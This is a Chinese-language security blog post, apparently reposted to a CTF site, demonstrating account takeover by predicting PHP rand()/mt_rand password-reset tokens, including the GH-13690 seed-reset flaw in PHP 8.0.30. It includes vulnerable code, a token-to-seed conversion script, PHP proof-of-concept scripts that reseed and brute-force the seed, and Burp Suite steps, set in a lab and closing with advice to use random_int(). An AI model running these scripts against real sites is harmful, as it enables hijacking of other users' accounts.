2024 年在 php 中利用 (GH-13690) mt_rand


2024 年在 php 中利用 (GH-13690) mt_rand

这篇博文深入探讨了 的内部工作原理mt_rand(),揭露了它的弱点并展示了如何利用这些漏洞。我们将研究现实世界中的场景并深入了解更安全的替代方案。

php 中的 mt_rand 是什么?

此函数通过梅森旋转随机数生成器(PHP 4、PHP 5、PHP 7、PHP 8)生成随机值。

它通过生成随机数来帮助开发人员,但它真的是随机的吗?根据PHP 文档 [1]的答案是否定的:

2024 年在 php 中利用 (GH-13690) mt_rand

图 1 – mt_rand 函数的 PHP 文档不加密安全

openwall 开发了一款名为php_mt_seed [2]的工具。该工具接收一堆 rand 输出并返回所使用的种子。

攻击场景有哪些?有两种:

  • 令牌是在同一个 HTTP 请求中生成的

  • 令牌不是在同一请求上生成的(GH-13690)

作为第一种情况的示例,我们假设一个由 PHP 提供支持的网站上有一个管理功能。此功能可以同时重置多个用户的密码。系统会向选定的用户发送一个链接以重置他们的密码,该链接包含由 rand 生成的重置令牌。如果其中一个用户是攻击者,攻击者可以检索种子并预测其他用户的令牌,因为种子是相同的。

以第二种情况为例,我们有一个由 PHP 8.0.30 提供支持的网站,该网站容易受到 GH-13690 攻击,或者任何 PHP 版本都容易受到 GH-13690 攻击。攻击者可以同时请求重置自己帐户和另一个帐户的密码(两个不同的 HTTP 请求)。现在攻击者可以使用他们的令牌来预测另一个帐户的种子。种子会有所不同,因为 rand 函数会为每个 HTTP 请求重新生成种子,但他们可以使用 GH-13690 漏洞对其进行暴力破解。

 (使用 MT_RAND_PHP 时,全局 Mt19937 在请求之间无法正确重置)

图 2 – PHP 8 更改日志

在这两种情况下,我们都在利用在实际应用程序中发现的以下功能:

function generate_random_string($length = 10)
{
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $rnd_result = '';
    for ($i = 0; $i < $length; $i++) {
        $rnd_result .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $rnd_result;
}

利用场景一

有漏洞的代码:

<?php


function generate_random_string($length = 10)
{
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $rnd_result = '';
    for ($i = 0; $i < $length; $i++) {
        $rnd_result .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $rnd_result;
}

// $rand = mt_rand();
// srand($rand);

echo "reset password for the first user : " . generate_random_string(32) . '<br />';
echo "reset password for the second user :" . generate_random_string(32) . '<br />';

在示例中,该函数为两个用户生成密码重置,但位于同一会话中(mt_rand 的初始状态相同)。

我们目标的PHP版本是最新版本:

2024 年在 php 中利用 (GH-13690) mt_rand

图 3 – PHP 版本信息

让我们仅使用生成的令牌之一(只是一个普通用户令牌)来攻击我们需要的令牌,以预测第二个令牌(以管理员令牌为例)。

以下 Python 脚本将把标记转换为 rand 函数实际生成的内容,因为 rand 函数生成的是数字,而不是字符串本身:

chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

with open("tokens.txt", "r") as file:
    tokens = file.readlines()

for token in tokens:
    token = token.strip()
    for c in token:
        print(" ",chars.find(c), chars.find(c),"0","61",end="")

脚本的输出将与 php_mt_seed 工具一起使用:

2024 年在 php 中利用 (GH-13690) mt_rand

图 4 – rand 生成的数字

脚本中出现“0”和“61”的原因是,rand 函数的范围是原始 PHP 代码中的 0 到 61,我们复制该数字以实现精确匹配。

2024 年在 php 中利用 (GH-13690) mt_rand

图 5 – 使用攻击者令牌找到种子

现在让我们通过设置种子,使用以下漏洞 PHP 代码来获取下一个令牌:

<?php
function generateRandomString($length = 10)
{
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $rnd_result = '';
    for ($i = 0; $i < $length; $i++) {
        $rnd_result .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $rnd_result;
}
// Set the seed for the random number generator
srand(3697305637);
echo ("current token is :" . generateRandomString(32)." n");

echo ("target reset token password is " . generateRandomString(32) . " n")

?>

以下是目标 PHP 代码的示例输出:

2024 年在 php 中利用 (GH-13690) mt_rand

图 6 – 原始输出

在这里我们运行了漏洞利用的 PHP 代码:

2024 年在 php 中利用 (GH-13690) mt_rand

图 7 – 使用攻击找到下一个令牌

攻击成功,我们获得了令牌。

利用场景2

在这个场景中,user1 是想要重置 user2 密码的攻击者,而网站使用的是存在漏洞的 PHP 版本,例如 8.0.30 (GH-13690)。

在本实验中,我们将攻击使用上述相同功能的应用程序。我们在 PHP 版本 8.0.30 上安装了该应用程序。

2024 年在 php 中利用 (GH-13690) mt_rand

图 8 – PHP 版本 8.0.30

为了利用该漏洞,我们需要同时向攻击者账户和目标账户发送重置密码请求。为此,我们可以在 Burp Suite 的 Repeater 中创建一个群发。

2024 年在 php 中利用 (GH-13690) mt_rand

图 9 – 攻击者账户的第一次请求

2024 年在 php 中利用 (GH-13690) mt_rand

图 10 – 对目标账户的第二次请求

确保启用发送组单连接,如下所示:

2024 年在 php 中利用 (GH-13690) mt_rand

图 11 – 启用单连接

使用MySQL数据库,我们可以看到令牌是为攻击者账户和目标账户同时生成的。

2024 年在 php 中利用 (GH-13690) mt_rand

图 12 – 在 mysql 中重置令牌

从攻击者的角度来看,我们只能访问攻击者令牌,即 F4zrX6rBBHaOadoTwsRvJddtyl5vEeif。

有了这些信息,让我们使用与之前相同的攻击流程。

2024 年在 php 中利用 (GH-13690) mt_rand

图 13 – 找到种子

确实我们找到了种子,但是下一个用来生成目标 token 的种子会有些不同,我们继续看看会有什么不同。

如果我们复制目标令牌,我们可以使用相同的攻击来获取种子并比较目标种子和攻击者种子:

2024 年在 php 中利用 (GH-13690) mt_rand

图 14 – 提取的目标账户种子

我们可以看到种子的前四位数字是相同的。

Attacker     F4zrX6rBBHaOadoTwsRvJddtyl5vEeif 1851353544
target 8YIWjEdIWNrsPNk60mzufqVHjGSxSnfe 1851289360

现在我们需要做的就是强行破解剩下的种子,它只有 6 位数字!

使用我们的 POC 进行攻击:

<?php
function generateRandomString($length = 10)
{
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $rnd_result = '';
    for ($i = 0; $i < $length; $i++) {
        $rnd_result .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $rnd_result;
}

// Function to generate all possible combinations
function generateCombinations($length, $characters) {
    $combinations = [];
    $totalCombinations = pow(count($characters), $length);
    for ($i = 0; $i < $totalCombinations; $i++) {
        $combination = '';
        $temp = $i;
        for ($j = 0; $j < $length; $j++) {
            $combination = $characters[$temp % count($characters)] . $combination;
            $temp = intdiv($temp, count($characters));
        }
        $combinations[] = $combination;
    }
    return $combinations;
}





// Define the length of the number and the allowed characters
$length = 6;
$characters = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];

// Generate and print all combinations
$allCombinations = generateCombinations($length, $characters);
foreach ($allCombinations as $combination) {
      // Set the seed for the random number generator , enter only the start of the seed
      $seed = "1851".(string)$combination;
  srand($seed);
  echo ("using seed ". $seed . " : ". generateRandomString(32)." n");
      // echo $combination . PHP_EOL;
}

?>

运行POC PHP脚本后:

2024 年在 php 中利用 (GH-13690) mt_rand

图 15 –成功!

攻击成功,找到了目标令牌。

现在我们需要暴力破解所有的代币,总共只有 1,000,000 个,几个小时就可以暴力破解。

结论

在这篇博文中,我们在两种不同的场景中利用了 PHP mt_rand 函数,并展示了它在真实攻击中的可利用性。2024 年,程序员仍然使用 mt_rand 来生成随机密码和令牌甚至用户 ID。mt_rand 函数并不安全,会使您的软件面临风险。如果您正在寻找一个好的替代方案,我们建议使用安全的随机生成器函数(如random_int()和random_bytes())来生成密钥,并且永远不要使用 mt_rand。

[1] https://www.php.net/manual/en/function.mt-rand.php

[2] https://github.com/openwall/php_mt_seed


感谢您抽出

2024 年在 php 中利用 (GH-13690) mt_rand

.

2024 年在 php 中利用 (GH-13690) mt_rand

.

2024 年在 php 中利用 (GH-13690) mt_rand

来阅读本文

2024 年在 php 中利用 (GH-13690) mt_rand

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):2024 年在 php 中利用 (GH-13690) mt_rand

版权声明:admin 发表于 2024年9月11日 上午11:31。
转载请注明:2024 年在 php 中利用 (GH-13690) mt_rand | CTF导航

相关文章